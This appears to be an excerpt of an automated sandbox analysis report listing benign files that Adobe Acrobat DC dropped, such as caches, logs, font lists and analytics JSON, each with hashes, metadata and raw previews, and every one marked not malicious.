Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.198926961181594
Encrypted:	false
SSDEEP:	6:iO4ofZkQ+q2PcNwi2nKuAl9OmbzNMxIFUtSofZyvHwgZmwsofZ+QVkwOcNwi2nKA:7vRcvLZHAa8jFUtRRs/7Rp54ZHAa84J
MD5:	E743CB3FCA60639D4D8C475FF0A6ABF5
SHA1:	EB75CC65019B4ED67B561431DB7B0903352A39EF
SHA-256:	D654326ACD09FEE29A45B0D47A676E257A4D78F7AEB6A999B7D0CDAD17780EB8
SHA-512:	5074C2AE73829709E8BFDE296F7829F6EF74AD008A679D75CAEDB1F26F853CCDC0D9094785DE9E0E8C9D9615BD2A095CB0F52ED26D98333BECFE932B887D9E18
Malicious:	false
Preview:	2025/01/10-09:01:24.640 288 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-09:01:24.641 288 Recovering log #3.2025/01/10-09:01:24.642 288 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.198926961181594
Encrypted:	false
SSDEEP:	6:iO4ofZkQ+q2PcNwi2nKuAl9OmbzNMxIFUtSofZyvHwgZmwsofZ+QVkwOcNwi2nKA:7vRcvLZHAa8jFUtRRs/7Rp54ZHAa84J
MD5:	E743CB3FCA60639D4D8C475FF0A6ABF5
SHA1:	EB75CC65019B4ED67B561431DB7B0903352A39EF
SHA-256:	D654326ACD09FEE29A45B0D47A676E257A4D78F7AEB6A999B7D0CDAD17780EB8
SHA-512:	5074C2AE73829709E8BFDE296F7829F6EF74AD008A679D75CAEDB1F26F853CCDC0D9094785DE9E0E8C9D9615BD2A095CB0F52ED26D98333BECFE932B887D9E18
Malicious:	false
Preview:	2025/01/10-09:01:24.640 288 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-09:01:24.641 288 Recovering log #3.2025/01/10-09:01:24.642 288 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438507286686501
Encrypted:	false
SSDEEP:	384:yeaci5GOiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:1murVgazUpUTTGt
MD5:	362C568D744C89591BBDA7C2F667EACF
SHA1:	4FABA08CA90DE90592EFFCD0BB96F9F207BF04E3
SHA-256:	2BEDE756711AA1DE4108878847ADA3D1CA9320B9066E0EFAC708027F29F1891F
SHA-512:	E941B1B79CEF9A50CA5F9A1BDFD3E34A565577B02FE6CA29BDFF356212E2537E3772C6673DFFA34E008C36C7DA2236132B271B27A69303B71C40B6CD6981B39D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.771552643874757
Encrypted:	false
SSDEEP:	48:7M/l9p/E2ioyVKioy3DoWoy1CABoy16KOioy1noy1AYoy1Wioy1hioybioy4oy1i:7cpjuK0iA2XKQdFb9IVXEBodRBkK
MD5:	E84C09574DFE72B8C26381D7DA279967
SHA1:	9E040E0F2F8281AE84BA93859405ED4DE8D96FFC
SHA-256:	0FE51ACC315C650DEF33EA52512FBD7E57B61CFED6038B79532FC54DBBEC673D
SHA-512:	C9A3EF9B3C742FEB24601529022AB4A835427790182F46901A9FF26AEB2A30B6C64FBB560DE5AA2970018BEFB5F29BEE983F0E2927B536E20503D9B94499CF5E
Malicious:	false
Preview:	.... .c.....:.pT...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7647458239154146
Encrypted:	false
SSDEEP:	3:kkFkliKk3/tfllXlE/HT8k9h/tNNX8RolJuRdxLlGB9lQRYwpDdt:kK7J/eT82JTNMa8RdWBwRd
MD5:	040FD928EAB4314E8FC88A99A02C7675
SHA1:	115FA199F6DD0CB0D42AAAB80ECC2D61A9B81C31
SHA-256:	96F0C46D267D5A53182783339632923D746D0C868688B0137755425C53B9B308
SHA-512:	9FB67040D4DFB90A54C3887EAF22A99A82BEF4A1C4414C5A77A5C5651013840947008DFD81C971D840A6A7D47A7749C5236428D248EFC085B2EF53AE4A87FFBA
Malicious:	false
Preview:	p...... ..........'hc..(....................................................... ..........W.....>..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.2152361491984225
Encrypted:	false
SSDEEP:	6:kKxebPL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:8PiDImsLNkPlE99SNxAhUe/3
MD5:	3C141BADD0C0310D36528A192FE33A4C
SHA1:	2C5898912CA739FF7C8B75B95DE352E754AE0907
SHA-256:	C7AF562BA840668D302FB1B94DE69E4B79639683B5A975AA43F5E2E1A6F2BCE9
SHA-512:	45B39AA5D637E2EAD0D897339935C6C8B9AD949590A13AEFB160C06E835394875A20281C1CE0C1617B4C00D87679AA50D1543A0D94FD2EF5AA29EE97950ADCFC
Malicious:	false
Preview:	p...... .........@I9hc..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3620

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3620

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.385000857374813
Encrypted:	false
SSDEEP:	6:YEQXJ2HXi/dipRnE2WsGiIPEeOF0YIdWieoAvJM3g98kUwPeUkwRe9:YvXKXIi/nExsdTeOodWiVGMbLUkee9
MD5:	2B17903CA0D4A8354D8CFEDFDDFB9407
SHA1:	4DB6F30CE14074851166A0A8749EDEFB4F7A01E5
SHA-256:	84B58003BC10334A0E4D8D299F05399D20114DF80F66E108C9B43AF73AD84309
SHA-512:	791156F578FFCC87DDD7937F8306BE661AFC832B962BF7BDA2816EAE3055695DF181AADADC4BEA80555D13BEECAA2A8FFE0ED5702A2D1CA5D89696431120A90A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c2dd294f-0643-4683-87b3-039f2845199a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736696749622,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.323452607861068
Encrypted:	false
SSDEEP:	6:YEQXJ2HXi/dipRnE2WsGiIPEeOF0YIdWieoAvJfBoTfXpnrPeUkwRe9:YvXKXIi/nExsdTeOodWiVGWTfXcUkee9
MD5:	630BE2C890801E6765A1A449BDA2B3FB
SHA1:	9729FBB56698B873A4EECB77B618D8612ED176B8
SHA-256:	972C9F125F1DCAC907B4BF21DF8B08E23AD0E1892C1EE3F4F67B95129498A03D
SHA-512:	5FCA82369824981389068EA579DFE42568F10460101769CC33342163AFD3E16F82DB37CA73AAB8978267FC264960A28C73C0C8A5B75C08D9B88FECED584F3621
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c2dd294f-0643-4683-87b3-039f2845199a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736696749622,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.301851926729499
Encrypted:	false
SSDEEP:	6:YEQXJ2HXi/dipRnE2WsGiIPEeOF0YIdWieoAvJfBD2G6UpnrPeUkwRe9:YvXKXIi/nExsdTeOodWiVGR22cUkee9
MD5:	94C3BE0DCF56C6EA07215030880E4745
SHA1:	13D85E55D9DF9934AE2FB942CF83671079D11636
SHA-256:	FCDE6748ABEBA8E6E1DB03FAFBB03948996E5E83FBF18A0A32424F5864532D56
SHA-512:	41CE70056F8C6AF80BB23B801E5F6BAE50C318EE563ED0FF9C26ACC2DBA23AFBDEE8AD28BA2A0DE14845D854F6978F30AD3EA4AAE88D7F7B64DD6589BA9DB552
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c2dd294f-0643-4683-87b3-039f2845199a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736696749622,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3726383700404226
Encrypted:	false
SSDEEP:	6:YEQXJ2HXi/dipRnE2WsGiIPEeOF0YIdWieoAvJfPmwrPeUkwRe9:YvXKXIi/nExsdTeOodWiVGH56Ukee9
MD5:	0CFFFD671FFC71C49DEAF70CEE34C923
SHA1:	9282B7814ED36F7D736465A2F8E15DFE81359B1F
SHA-256:	608771ADF08854765195E43367F829474B96F03B57A6C2986EA6B766758FD5D5
SHA-512:	34D068B3050E597925D2866031EBC70508D4100F9DA99344DFAA0CA1B439642EED1074751AE5541F14717256F2109C136440B2FC25DF0399AD479929EDECB500
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c2dd294f-0643-4683-87b3-039f2845199a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736696749622,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.69017863076256
Encrypted:	false
SSDEEP:	24:Yv6XIiKmeOodW7pLgE9cQx8LennAvzBvkn0RCmK8czOCCSBW:YvZIechgy6SAFv5Ah8cv/BW
MD5:	3DA05AE44E797C4AABEF9D71023D4D02
SHA1:	C84D7C59E84714609A9B2FB4EB9C66E4984C3754
SHA-256:	FEFD3D7831E5FF923A0D8A75DD9538F7489250F84B5F0CDF70FF98C850BE2B38
SHA-512:	55B04384CA60DE4C2481EF8366021A5927A6C423D5667D00D2A63CE6BEF5D5119F83348DB31D172F6E11FAAA8FD744A699EC47DD17B77230708CB5DF5AACE772
Malicious:	false
